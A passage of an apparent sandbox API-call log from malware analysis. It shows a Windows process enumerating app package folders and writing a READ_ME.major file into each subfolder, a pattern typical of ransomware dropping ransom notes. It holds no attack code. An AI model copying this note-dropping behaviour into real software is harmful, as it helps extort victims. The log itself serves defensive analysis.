ftCreationTime.dwLowDateTime=0x99201695, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd28ef8f4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x99201695, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0191.480] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddb3df96, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3a8cfa4e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x24523a4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86ea8 [0191.481] FindNextFileW (in: hFindFile=0x2f86ea8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddb3df96, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3a8cfa4e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x24523a4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0191.481] FindNextFileW (in: hFindFile=0x2f86ea8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddce1aab, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd295fed9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xddce1aab, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0191.481] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.devicesflow_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x990 [0191.482] WriteFile (in: hFile=0x990, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.482] CloseHandle (hObject=0x990) returned 1 [0191.482] FindNextFileW (in: hFindFile=0x2f86ea8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddda05d6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2960774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xddda05d6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0191.482] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.devicesflow_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x990 [0191.483] WriteFile (in: hFile=0x990, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.484] CloseHandle (hObject=0x990) returned 1 [0191.484] FindNextFileW (in: hFindFile=0x2f86ea8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddce1aab, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2960e32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xddce1aab, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0191.484] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.devicesflow_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x990 [0191.485] WriteFile (in: hFile=0x990, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.486] CloseHandle (hObject=0x990) returned 1 [0191.486] FindNextFileW (in: hFindFile=0x2f86ea8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddc22ee1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2961813, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xddc22ee1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0191.486] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.devicesflow_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x990 [0191.486] WriteFile (in: hFile=0x990, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.487] CloseHandle (hObject=0x990) returned 1 [0191.487] FindNextFileW (in: hFindFile=0x2f86ea8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24523a4f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24523a4f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24523a4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.488] FindNextFileW (in: hFindFile=0x2f86ea8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddc22ee1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd29620e0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xddc22ee1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0191.488] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.devicesflow_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x990 [0191.489] WriteFile (in: hFile=0x990, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.489] CloseHandle (hObject=0x990) returned 1 [0191.490] FindNextFileW (in: hFindFile=0x2f86ea8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddce1aab, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713d778b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x713d778b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0191.490] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.devicesflow_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x990 [0191.491] WriteFile (in: hFile=0x990, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.492] CloseHandle (hObject=0x990) returned 1 [0191.492] FindNextFileW (in: hFindFile=0x2f86ea8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddc22ee1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2a85e2a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xddc22ee1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0191.492] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.devicesflow_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x990 [0191.493] WriteFile (in: hFile=0x990, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.493] CloseHandle (hObject=0x990) returned 1 [0191.494] FindNextFileW (in: hFindFile=0x2f86ea8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddc22ee1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2a85e2a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xddc22ee1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0191.494] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b315bfa, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd8832b29, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2456ff2f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86fa8 [0191.494] FindNextFileW (in: hFindFile=0x2f86fa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b315bfa, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd8832b29, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2456ff2f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0191.494] FindNextFileW (in: hFindFile=0x2f86fa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2a8a6d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9b33bde5, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0191.494] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x994 [0191.494] WriteFile (in: hFile=0x994, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.495] CloseHandle (hObject=0x994) returned 1 [0191.495] FindNextFileW (in: hFindFile=0x2f86fa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2a8acf2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9b33bde5, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0191.495] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x994 [0191.496] WriteFile (in: hFile=0x994, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.497] CloseHandle (hObject=0x994) returned 1 [0191.497] FindNextFileW (in: hFindFile=0x2f86fa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2a8b2eb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9b33bde5, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0191.497] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x994 [0191.498] WriteFile (in: hFile=0x994, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.499] CloseHandle (hObject=0x994) returned 1 [0191.499] FindNextFileW (in: hFindFile=0x2f86fa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3a9b49e8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3a9b49e8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0191.499] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x994 [0191.500] WriteFile (in: hFile=0x994, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.501] CloseHandle (hObject=0x994) returned 1 [0191.501] FindNextFileW (in: hFindFile=0x2f86fa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2456ff2f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2456ff2f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x245961a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.501] FindNextFileW (in: hFindFile=0x2f86fa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2c8c8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9b33bde5, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0191.501] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x994 [0191.501] WriteFile (in: hFile=0x994, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.502] CloseHandle (hObject=0x994) returned 1 [0191.502] FindNextFileW (in: hFindFile=0x2f86fa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713d778b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x713d778b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0191.502] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x994 [0191.505] WriteFile (in: hFile=0x994, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.505] CloseHandle (hObject=0x994) returned 1 [0191.505] FindNextFileW (in: hFindFile=0x2f86fa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8832b29, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd8832b29, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd8832b29, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0191.505] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x994 [0191.506] WriteFile (in: hFile=0x994, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.507] CloseHandle (hObject=0x994) returned 1 [0191.507] FindNextFileW (in: hFindFile=0x2f86fa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2d31d85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9b33bde5, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0191.507] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x994 [0191.508] WriteFile (in: hFile=0x994, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.509] CloseHandle (hObject=0x994) returned 1 [0191.509] FindNextFileW (in: hFindFile=0x2f86fa8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2d31d85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9b33bde5, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0191.509] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x77c3f1ef, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x245961a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f869e8 [0191.509] FindNextFileW (in: hFindFile=0x2f869e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x77c3f1ef, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x245961a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0191.511] FindNextFileW (in: hFindFile=0x2f869e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, 